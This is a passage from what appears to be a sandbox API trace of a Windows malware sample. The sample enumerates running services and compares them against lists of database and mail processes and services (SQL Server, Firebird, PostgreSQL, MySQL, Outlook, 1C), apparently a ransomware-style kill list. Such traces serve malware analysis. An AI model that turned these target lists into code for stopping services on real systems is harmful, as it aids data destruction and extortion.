	[0178.296] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x71fe08, Size=0x100) returned 0x6fa598
	[0178.296] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e4390, Size=0x104) returned 0x6fa730
	[0178.297] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa598, Size=0x200) returned 0x6fc1b0
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71feb8 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fc1b0 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa488 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e3218 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa2d8 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e33b0 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa440 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa730 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa3f8 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4420 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa320 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa6a0 | out: hHeap=0x6a0000) returned 1
	[0178.298] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa338 | out: hHeap=0x6a0000) returned 1
	[0178.298] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6fa1d0, Size=0x20) returned 0x6de048
	[0178.299] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de048, Size=0x40) returned 0x71de50
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x720108 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa218 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e4300 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa230 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e2a20 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa458 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x71fdf8 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6fa410 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6c20 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6b6930 | out: hHeap=0x6a0000) returned 1
	[0178.299] lstrlenW (lpString="%systemdrive%") returned 13
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6de020 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x6e2aa8 | out: hHeap=0x6a0000) returned 1
	[0178.299] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x7200d8 | out: hHeap=0x6a0000) returned 1
	[0178.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091f0, lpParameter=0x721998, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2d0
	[0178.300] WaitForMultipleObjects (nCount=0x2, lpHandles=0x6bbd30*=0x2cc, bWaitAll=1, dwMilliseconds=0xffffffff) 

Thread:
	id = 86
	os_tid = 0xfbc


Thread:
	id = 88
	os_tid = 0xfc8

	[0178.210] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x707968
	[0178.210] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x707968, Size=0x20) returned 0x6dd9b8
	[0178.210] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd9b8, Size=0x40) returned 0x6b7700
	[0178.210] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7700, Size=0x80) returned 0x6e3878
	[0178.210] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e3878, Size=0x100) returned 0x708a78
	[0178.210] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x707b00
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x707b00, Size=0x20) returned 0x6dd8f0
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6dd8f0, Size=0x40) returned 0x6b7700
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6b7700, Size=0x80) returned 0x6e2cc8
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6e2cc8, Size=0x100) returned 0x708b80
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707980
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de3d8
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x10) returned 0x7078c0
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3d8, Size=0x8) returned 0x6de3e8
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b64f0
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3e8, Size=0x10) returned 0x707a40
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b6550
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6ddbe8
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x707a40, Size=0x20) returned 0x6dd990
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1c) returned 0x6dd8f0
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x16) returned 0x6b65d0
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1a) returned 0x6dda30
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0xc) returned 0x707b60
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x4) returned 0x6de3d8
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x40) returned 0x6b7aa8
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3d8, Size=0x8) returned 0x6de3e8
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x3c) returned 0x6b7a18
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x6de3e8, Size=0x10) returned 0x707a70
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x14) returned 0x6b6310
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x18) returned 0x6b65b0
	[0178.211] RtlReAllocateHeap (Heap=0x6a0000, Flags=0x0, Ptr=0x707a70, Size=0x20) returned 0x6ddda0
	[0178.211] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x24) returned 0x6b6ec0
	[0178.211] lstrlenW (lpString="1c8.exe;1cv77.exe;outlook.exe;postgres.exe;mysqld-nt.exe;mysqld.exe;sqlservr.exe;") returned 81
	[0178.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x708a78 | out: hHeap=0x6a0000) returned 1
	[0178.211] lstrlenW (lpString="FirebirdGuardianDefaultInstance;FirebirdServerDefaultInstance;sqlwriter;mssqlserver;sqlserveradhelper;") returned 102
	[0178.211] HeapFree (in: hHeap=0x6a0000, dwFlags=0x0, lpMem=0x708b80 | out: hHeap=0x6a0000) returned 1
	[0178.211] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x6dd9b8
	[0178.212] EnumServicesStatusExW (in: hSCManager=0x6dd9b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 0
	[0178.213] GetLastError () returned 0xea
	[0178.213] RtlAllocateHeap (HeapHandle=0x6a0000, Flags=0x0, Size=0x1bc4) returned 0x7091e0
	[0178.213] EnumServicesStatusExW (in: hSCManager=0x6dd9b8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7091e0, cbBufSize=0x1bc4, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7091e0, pcbBytesNeeded=0x25dff3c, lpServicesReturned=0x25dff54, lpResumeHandle=0x0) returned 1
	[0178.213] CloseServiceHandle (hSCObject=0x6dd9b8) returned 1
	[0178.214] lstrlenW (lpString="Appinfo") returned 7
	[0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1
	[0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1
	[0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1
	[0178.214] lstrlenW (lpString="AppXSvc") returned 7
	[0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1
	[0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1
	[0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1
	[0178.214] lstrlenW (lpString="AudioEndpointBuilder") returned 20
	[0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1
	[0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1
	[0178.214] lstrlenW (lpString="Audiosrv") returned 8
	[0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1
	[0178.214] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1
	[0178.214] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1
	[0178.214] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1
	[0178.214] lstrlenW (lpString="BFE") returned 3
	[0178.214] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1
	[0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1
	[0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1
	[0178.215] lstrlenW (lpString="BrokerInfrastructure") returned 20
	[0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1
	[0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1
	[0178.215] lstrlenW (lpString="CDPSvc") returned 6
	[0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1
	[0178.215] lstrlenW (lpString="ClickToRunSvc") returned 13
	[0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1
	[0178.215] lstrlenW (lpString="CoreMessagingRegistrar") returned 22
	[0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1
	[0178.215] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1
	[0178.215] lstrlenW (lpString="CryptSvc") returned 8
	[0178.215] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1
	[0178.215] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1
	[0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1
	[0178.216] lstrlenW (lpString="DcomLaunch") returned 10
	[0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1
	[0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1
	[0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1
	[0178.216] lstrlenW (lpString="DeviceAssociationService") returned 24
	[0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1
	[0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1
	[0178.216] lstrlenW (lpString="Dhcp") returned 4
	[0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1
	[0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1
	[0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1
	[0178.216] lstrlenW (lpString="Dnscache") returned 8
	[0178.216] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1
	[0178.216] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1
	[0178.216] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1
	[0178.216] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1
	[0178.217] lstrlenW (lpString="DPS") returned 3
	[0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1
	[0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1
	[0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1
	[0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1
	[0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1
	[0178.217] lstrlenW (lpString="DusmSvc") returned 7
	[0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1
	[0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1
	[0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1
	[0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1
	[0178.217] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1
	[0178.217] lstrlenW (lpString="EventLog") returned 8
	[0178.217] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1
	[0178.217] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1
	[0178.217] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1
	[0178.217] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1
	[0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1
	[0178.218] lstrlenW (lpString="EventSystem") returned 11
	[0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1
	[0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1
	[0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1
	[0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1
	[0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1
	[0178.218] lstrlenW (lpString="FontCache") returned 9
	[0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1
	[0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1
	[0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1
	[0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1
	[0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1
	[0178.218] lstrlenW (lpString="gpsvc") returned 5
	[0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1
	[0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1
	[0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1
	[0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1
	[0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1
	[0178.218] lstrlenW (lpString="iphlpsvc") returned 8
	[0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1
	[0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1
	[0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1
	[0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1
	[0178.218] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1
	[0178.218] lstrlenW (lpString="KeyIso") returned 6
	[0178.218] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1
	[0178.218] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1
	[0178.218] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1
	[0178.218] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1
	[0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1
	[0178.219] lstrlenW (lpString="LanmanServer") returned 12
	[0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1
	[0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1
	[0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1
	[0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1
	[0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1
	[0178.219] lstrlenW (lpString="LanmanWorkstation") returned 17
	[0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1
	[0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1
	[0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1
	[0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1
	[0178.219] lstrlenW (lpString="lfsvc") returned 5
	[0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1
	[0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1
	[0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1
	[0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1
	[0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1
	[0178.219] lstrlenW (lpString="lmhosts") returned 7
	[0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1
	[0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1
	[0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1
	[0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1
	[0178.219] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1
	[0178.219] lstrlenW (lpString="LSM") returned 3
	[0178.219] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1
	[0178.219] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1
	[0178.219] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1
	[0178.219] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1
	[0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1
	[0178.220] lstrlenW (lpString="MpsSvc") returned 6
	[0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1
	[0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1
	[0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1
	[0178.220] lstrlenW (lpString="NcbService") returned 10
	[0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1
	[0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1
	[0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1
	[0178.220] lstrlenW (lpString="netprofm") returned 8
	[0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1
	[0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1
	[0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1
	[0178.220] lstrlenW (lpString="NgcSvc") returned 6
	[0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1
	[0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1
	[0178.220] lstrlenW (lpString="NlaSvc") returned 6
	[0178.220] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1
	[0178.220] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1
	[0178.220] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1
	[0178.221] lstrlenW (lpString="nsi") returned 3
	[0178.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1
	[0178.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1
	[0178.221] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1
	[0178.221] lstrlenW (lpString="PcaSvc") returned 6
	[0178.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1
	[0178.221] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1
	[0178.221] lstrlenW (lpString="PlugPlay") returned 8
	[0178.221] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1
	[0178.221] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1
	[0178.221] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1
	[0178.221] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1
	[0178.221] lstrlenW (lpString="Power") returned 5
